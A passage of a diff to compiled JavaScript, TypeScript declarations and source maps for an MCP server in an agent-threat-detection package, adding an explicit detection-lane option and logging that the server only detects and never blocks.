AO,EAAE,cAAc,EAAE,aAAa,EAAE,qBAAqB,EAAE,MAAM,cAAc,CAAC;AACpF,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,OAAO,EAAE,cAAc,EAAE,MAAM,+BAA+B,CAAC;AAC/D,OAAO,EAAE,YAAY,EAAE,MAAM,6BAA6B,CAAC;AAC3D,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAGhD,sDAAsD;AACtD,OAAO,KAAK,OAAO,MAAM,oBAAoB,CAAC"}
1
+ {"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"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"}
@@ -8,6 +8,17 @@
8
8
  * @module agent-threat-rules/mcp-server
9
9
  */
10
10
  import { Server } from '@modelcontextprotocol/sdk/server/index.js';
11
- export declare function createMCPServer(): Promise<Server>;
12
- export declare function startMCPServer(): Promise<void>;
11
+ import type { Lane } from './quality/rule-contract.js';
12
+ /** Options for {@link createMCPServer}. */
13
+ export interface MCPServerOptions {
14
+ /**
15
+ * Detection lane. Explicit only — this function does not read `ATR_LANE`,
16
+ * because `./mcp` is an exported subpath and an embedder's detection breadth
17
+ * must not depend on the shell that happened to start the host process.
18
+ * `atr mcp` reads the environment and passes the result here.
19
+ */
20
+ readonly lane?: Lane;
21
+ }
22
+ export declare function createMCPServer(options?: MCPServerOptions): Promise<Server>;
23
+ export declare function startMCPServer(options?: MCPServerOptions): Promise<void>;
13
24
  //# sourceMappingURL=mcp-server.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"mcp-server.d.ts","sourceRoot":"","sources":["../src/mcp-server.ts"],"names":[],"mappings":";AACA;;;;;;;GAOG;AAIH,OAAO,EAAE,MAAM,EAAE,MAAM,2CAA2C,CAAC;AAgMnE,wBAAsB,eAAe,IAAI,OAAO,CAAC,MAAM,CAAC,CA2DvD;AAED,wBAAsB,cAAc,IAAI,OAAO,CAAC,IAAI,CAAC,CAIpD"}
1
+ {"version":3,"file":"mcp-server.d.ts","sourceRoot":"","sources":["../src/mcp-server.ts"],"names":[],"mappings":";AACA;;;;;;;GAOG;AAIH,OAAO,EAAE,MAAM,EAAE,MAAM,2CAA2C,CAAC;AAOnE,OAAO,KAAK,EAAE,IAAI,EAAE,MAAM,4BAA4B,CAAC;AA0LvD,2CAA2C;AAC3C,MAAM,WAAW,gBAAgB;IAC/B;;;;;OAKG;IACH,QAAQ,CAAC,IAAI,CAAC,EAAE,IAAI,CAAC;CACtB;AAED,wBAAsB,eAAe,CAAC,OAAO,GAAE,gBAAqB,GAAG,OAAO,CAAC,MAAM,CAAC,CAmErF;AAED,wBAAsB,cAAc,CAAC,OAAO,GAAE,gBAAqB,GAAG,OAAO,CAAC,IAAI,CAAC,CAIlF"}
@@ -188,10 +188,18 @@ const TOOLS = [
188
188
  },
189
189
  },
190
190
  ];
191
- export async function createMCPServer() {
191
+ export async function createMCPServer(options = {}) {
192
192
  const semantic = createSemanticJudgeFromConfig();
193
- const engine = new ATREngine({ rulesDir: RULES_DIR, semanticJudge: semantic.judge });
193
+ // The blocking opt-in has no meaning here: these tools return matches and
194
+ // never execute a response action or emit a permission decision, so there is
195
+ // nothing for it to gate. Only the lane applies.
196
+ const engine = new ATREngine({
197
+ rulesDir: RULES_DIR,
198
+ semanticJudge: semantic.judge,
199
+ ...(options.lane ? { lane: options.lane } : {}),
200
+ });
194
201
  const ruleCount = await engine.loadRules();
202
+ process.stderr.write(`[atr-mcp] lane=${engine.getLane()} (detection only, never blocks)\n`);
195
203
  if (semantic.enabled) {
196
204
  process.stderr.write('[atr-mcp] Semantic judge enabled for method=semantic rules\n');
197
205
  }
@@ -233,8 +241,8 @@ export async function createMCPServer() {
233
241
  });
234
242
  return server;
235
243
  }
236
- export async function startMCPServer() {
237
- const server = await createMCPServer();
244
+ export async function startMCPServer(options = {}) {
245
+ const server = await createMCPServer(options);
238
246
  const transport = new StdioServerTransport();
239
247
  await server.connect(transport);
240
248
  }
@@ -243,7 +251,16 @@ const isDirectExecution = process.argv[1] &&
243
251
  (process.argv[1].endsWith('mcp-server.js') ||
244
252
  process.argv[1].endsWith('mcp-server.ts'));
245
253
  if (isDirectExecution) {
246
- startMCPServer().catch((err) => {
254
+ // Reading ATR_LANE is correct HERE and only here: this branch runs when the
255
+ // file is the process entry point, which makes it a CLI, not a library. An
256
+ // importer of the `./mcp` subpath never reaches this code, so its lane still
257
+ // comes from the explicit option.
258
+ const { resolveEnforcementPolicy } = await import('./enforcement.js');
259
+ const policy = resolveEnforcementPolicy();
260
+ for (const note of policy.notes) {
261
+ process.stderr.write(`[atr-mcp] ${note}\n`);
262
+ }
263
+ startMCPServer({ lane: policy.lane }).catch((err) => {
247
264
  process.stderr.write(`ATR MCP Server error: ${err instanceof Error ? err.message : String(err)}\n`);
248
265
  process.exit(1);
249
266
  });
@@ -1 +1 @@
1
- {"version":3,"file":"mcp-server.js","sourceRoot":"","sources":["../src/mcp-server.ts"],"names":[],"mappings":";AACA;;;;;;;GAOG;AAEH,OAAO,EAAE,OAAO,EAAE,OAAO,EAAE,MAAM,WAAW,CAAC;AAC7C,OAAO,EAAE,aAAa,EAAE,MAAM,UAAU,CAAC;AACzC,OAAO,EAAE,MAAM,EAAE,MAAM,2CAA2C,CAAC;AACnE,OAAO,EAAE,oBAAoB,EAAE,MAAM,2CAA2C,CAAC;AACjF,OAAO,EACL,sBAAsB,EACtB,qBAAqB,GACtB,MAAM,oCAAoC,CAAC;AAC5C,OAAO,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AACxC,OAAO,EAAE,UAAU,EAAE,MAAM,qBAAqB,CAAC;AACjD,OAAO,EAAE,eAAe,EAAE,MAAM,2BAA2B,CAAC;AAC5D,OAAO,EAAE,eAAe,EAAE,MAAM,2BAA2B,CAAC;AAC5D,OAAO,EAAE,cAAc,EAAE,MAAM,yBAAyB,CAAC;AACzD,OAAO,EAAE,oBAAoB,EAAE,MAAM,gCAAgC,CAAC;AACtE,OAAO,EAAE,kBAAkB,EAAE,MAAM,8BAA8B,CAAC;AAClE,OAAO,EAAE,mBAAmB,EAAE,MAAM,+BAA+B,CAAC;AACpE,OAAO,EAAE,6BAA6B,EAAE,MAAM,gCAAgC,CAAC;AAE/E,MAAM,UAAU,GAAG,aAAa,CAAC,MAAM,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;AAClD,MAAM,SAAS,GAAG,OAAO,CAAC,UAAU,CAAC,CAAC;AACtC,MAAM,SAAS,GAAG,OAAO,CAAC,SAAS,EAAE,IAAI,EAAE,OAAO,CAAC,CAAC;AAEpD,MAAM,KAAK,GAAG;IACZ;QACE,IAAI,EAAE,UAAU;QAChB,WAAW,EACT,sJAAsJ;QACxJ,WAAW,EAAE;YACX,IAAI,EAAE,QAAiB;YACvB,UAAU,EAAE;gBACV,OAAO,EAAE;oBACP,IAAI,EAAE,QAAQ;oBACd,WAAW,EAAE,kFAAkF;iBAChG;gBACD,UAAU,EAAE;oBACV,IAAI,EAAE,QAAQ;oBACd,IAAI,EAAE,CAAC,WAAW,EAAE,YAAY,EAAE,WAAW,EAAE,eAAe,EAAE,gBAAgB,EAAE,qBAAqB,CAAC;oBACxG,WAAW,EAAE,6DAA6D;iBAC3E;gBACD,YAAY,EAAE;oBACZ,IAAI,EAAE,QAAQ;oBACd,IAAI,EAAE,CAAC,eAAe,EAAE,KAAK,EAAE,QAAQ,EAAE,MAAM,EAAE,UAAU,CAAC;oBAC5D,WAAW,EAAE,4EAA4E;iBAC1F;aACF;YACD,QAAQ,EAAE,CAAC,SAAS,CAAC;SACtB;KACF;IACD;QACE,IAAI,EAAE,gBAAgB;QACtB,WAAW,EACT,mOAAmO;QACrO,WAAW,EAAE;YACX,IAAI,EAAE,QAAiB;YACvB,UAAU,EAAE;gBACV,OAAO,EAAE;oBACP,IAAI,EAAE,QAAQ;oBACd,WAAW,EAAE,gDAAgD;iBAC9D;gBACD,SAAS,EAAE;oBACT,IAAI,EAAE,QAAQ;oBACd,WAAW,EAAE,oDAAoD;iBAClE;gBACD,YAAY,EAAE;oBACZ,IAAI,EAAE,QAAQ;oBACd,IAAI,EAAE,CAAC,eAAe,EAAE,KAAK,EAAE,QAAQ,EAAE,MAAM,EAAE,UAAU,CAAC;oBAC5D,WAAW,EAAE,qEAAqE;iBACnF;aACF;YACD,QAAQ,EAAE,CAAC,SAAS,CAAC;SACtB;KACF;IACD;QACE,IAAI,EAAE,gBAAgB;QACtB,WAAW,EACT,0FAA0F;QAC5F,WAAW,EAAE;YACX,IAAI,EAAE,QAAiB;YACvB,UAAU,EAAE;gBACV,QAAQ,EAAE;oBACR,IAAI,EAAE,QAAQ;oBACd,IAAI,EAAE;wBACJ,kBAAkB,EAAE,gBAAgB,EAAE,sBAAsB;wBAC5D,oBAAoB,EAAE,sBAAsB,EAAE,oBAAoB;wBAClE,gBAAgB,EAAE,aAAa,EAAE,kBAAkB;qBACpD;oBACD,WAAW,EAAE,kCAAkC;iBAChD;gBACD,QAAQ,EAAE;oBACR,IAAI,EAAE,QAAQ;oBACd,IAAI,EAAE,CAAC,eAAe,EAAE,KAAK,EAAE,QAAQ,EAAE,MAAM,EAAE,UAAU,CAAC;oBAC5D,WAAW,EAAE,iCAAiC;iBAC/C;gBACD,MAAM,EAAE;oBACN,IAAI,EAAE,QAAQ;oBACd,WAAW,EAAE,uDAAuD;iBACrE;aACF;SACF;KACF;IACD;QACE,IAAI,EAAE,mBAAmB;QACzB,WAAW,EACT,+GAA+G;QACjH,WAAW,EAAE;YACX,IAAI,EAAE,QAAiB;YACvB,UAAU,EAAE;gBACV,YAAY,EAAE;oBACZ,IAAI,EAAE,QAAQ;oBACd,WAAW,EAAE,wCAAwC;iBACtD;aACF;YACD,QAAQ,EAAE,CAAC,cAAc,CAAC;SAC3B;KACF;IACD;QACE,IAAI,EAAE,qBAAqB;QAC3B,WAAW,EACT,2HAA2H;QAC7H,WAAW,EAAE;YACX,IAAI,EAAE,QAAiB;YACvB,UAAU,EAAE;gBACV,KAAK,EAAE;oBACL,IAAI,EAAE,QAAQ;oBACd,WAAW,EAAE,gEAAgE;iBAC9E;gBACD,QAAQ,EAAE;oBACR,IAAI,EAAE,QAAQ;oBACd,IAAI,EAAE;wBACJ,kBAAkB,EAAE,gBAAgB,EAAE,sBAAsB;wBAC5D,oBAAoB,EAAE,sBAAsB,EAAE,oBAAoB;wBAClE,gBAAgB,EAAE,aAAa,EAAE,kBAAkB;qBACpD;oBACD,WAAW,EAAE,+BAA+B;iBAC7C;gBACD,kBAAkB,EAAE;oBAClB,IAAI,EAAE,QAAQ;oBACd,WAAW,EAAE,uDAAuD;iBACrE;gBACD,gBAAgB,EAAE;oBAChB,IAAI,EAAE,OAAO;oBACb,KAAK,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;oBACzB,WAAW,EAAE,8DAA8D;iBAC5E;gBACD,QAAQ,EAAE;oBACR,IAAI,EAAE,QAAQ;oBACd,IAAI,EAAE,CAAC,eAAe,EAAE,KAAK,EAAE,QAAQ,EAAE,MAAM,EAAE,UAAU,CAAC;oBAC5D,WAAW,EAAE,uCAAuC;iBACrD;gBACD,UAAU,EAAE;oBACV,IAAI,EAAE,OAAO;oBACb,KAAK,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;oBACzB,WAAW,EAAE,yDAAyD;iBACvE;aACF;YACD,QAAQ,EAAE,CAAC,OAAO,EAAE,UAAU,EAAE,oBAAoB,EAAE,kBAAkB,CAAC;SAC1E;KACF;IACD;QACE,IAAI,EAAE,mBAAmB;QACzB,WAAW,EACT,gIAAgI;QAClI,WAAW,EAAE;YACX,IAAI,EAAE,QAAiB;YACvB,UAAU,EAAE;gBACV,SAAS,EAAE;oBACT,IAAI,EAAE,QAAQ;oBACd,IAAI,EAAE,CAAC,eAAe,EAAE,aAAa,EAAE,KAAK,CAAC;oBAC7C,WAAW,EAAE,2DAA2D;iBACzE;aACF;SACF;KACF;IACD;QACE,IAAI,EAAE,oBAAoB;QAC1B,WAAW,EACT,wHAAwH;QAC1H,WAAW,EAAE;YACX,IAAI,EAAE,QAAiB;YACvB,UAAU,EAAE;gBACV,QAAQ,EAAE;oBACR,IAAI,EAAE,QAAQ;oBACd,IAAI,EAAE;wBACJ,kBAAkB,EAAE,gBAAgB,EAAE,sBAAsB;wBAC5D,oBAAoB,EAAE,sBAAsB,EAAE,oBAAoB;wBAClE,gBAAgB,EAAE,aAAa,EAAE,kBAAkB;qBACpD;oBACD,WAAW,EAAE,0DAA0D;iBACxE;aACF;SACF;KACF;CACF,CAAC;AAEF,MAAM,CAAC,KAAK,UAAU,eAAe;IACnC,MAAM,QAAQ,GAAG,6BAA6B,EAAE,CAAC;IACjD,MAAM,MAAM,GAAG,IAAI,SAAS,CAAC,EAAE,QAAQ,EAAE,SAAS,EAAE,aAAa,EAAE,QAAQ,CAAC,KAAK,EAAE,CAAC,CAAC;IACrF,MAAM,SAAS,GAAG,MAAM,MAAM,CAAC,SAAS,EAAE,CAAC;IAC3C,IAAI,QAAQ,CAAC,OAAO,EAAE,CAAC;QACrB,OAAO,CAAC,MAAM,CAAC,KAAK,CAAC,8DAA8D,CAAC,CAAC;IACvF,CAAC;IAED,MAAM,MAAM,GAAG,IAAI,MAAM,CACvB;QACE,IAAI,EAAE,gBAAgB;QACtB,OAAO,EAAE,OAAO;KACjB,EACD;QACE,YAAY,EAAE;YACZ,KAAK,EAAE,EAAE;SACV;KACF,CACF,CAAC;IAEF,MAAM,CAAC,iBAAiB,CAAC,sBAAsB,EAAE,KAAK,IAAI,EAAE,CAAC,CAAC;QAC5D,KAAK,EAAE,KAAK;KACb,CAAC,CAAC,CAAC;IAEJ,MAAM,CAAC,iBAAiB,CAAC,qBAAqB,EAAE,KAAK,EAAE,OAAO,EAAE,EAAE;QAChE,MAAM,EAAE,IAAI,EAAE,SAAS,EAAE,IAAI,EAAE,GAAG,OAAO,CAAC,MAAM,CAAC;QACjD,MAAM,QAAQ,GAAG,CAAC,IAAI,IAAI,EAAE,CAA4B,CAAC;QAEzD,QAAQ,IAAI,EAAE,CAAC;YACb,KAAK,UAAU;gBACb,OAAO,MAAM,UAAU,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;YAE5C,KAAK,gBAAgB;gBACnB,OAAO,MAAM,eAAe,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;YAEjD,KAAK,gBAAgB;gBACnB,OAAO,eAAe,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;YAE3C,KAAK,mBAAmB;gBACtB,OAAO,cAAc,CAAC,QAAQ,CAAC,CAAC;YAElC,KAAK,qBAAqB;gBACxB,OAAO,oBAAoB,CAAC,QAAQ,CAAC,CAAC;YAExC,KAAK,mBAAmB;gBACtB,OAAO,kBAAkB,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;YAE9C,KAAK,oBAAoB;gBACvB,OAAO,mBAAmB,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;YAE/C;gBACE,OAAO;oBACL,OAAO,EAAE,CAAC,EAAE,IAAI,EAAE,MAAM,EAAE,IAAI,EAAE,wBAAwB,IAAI,IAAI,EAAE,CAAC;oBACnE,OAAO,EAAE,IAAI;iBACd,CAAC;QACN,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,OAAO,MAAM,CAAC;AAChB,CAAC;AAED,MAAM,CAAC,KAAK,UAAU,cAAc;IAClC,MAAM,MAAM,GAAG,MAAM,eAAe,EAAE,CAAC;IACvC,MAAM,SAAS,GAAG,IAAI,oBAAoB,EAAE,CAAC;IAC7C,MAAM,MAAM,CAAC,OAAO,CAAC,SAAS,CAAC,CAAC;AAClC,CAAC;AAED,+BAA+B;AAC/B,MAAM,iBAAiB,GACrB,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC;IACf,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,QAAQ,CAAC,eAAe,CAAC;QACzC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,QAAQ,CAAC,eAAe,CAAC,CAAC,CAAC;AAE9C,IAAI,iBAAiB,EAAE,CAAC;IACtB,cAAc,EAAE,CAAC,KAAK,CAAC,CAAC,GAAG,EAAE,EAAE;QAC7B,OAAO,CAAC,MAAM,CAAC,KAAK,CAAC,yBAAyB,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC;QACpG,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC,CAAC,CAAC;AACL,CAAC"}
1
+ {"version":3,"file":"mcp-server.js","sourceRoot":"","sources":["../src/mcp-server.ts"],"names":[],"mappings":"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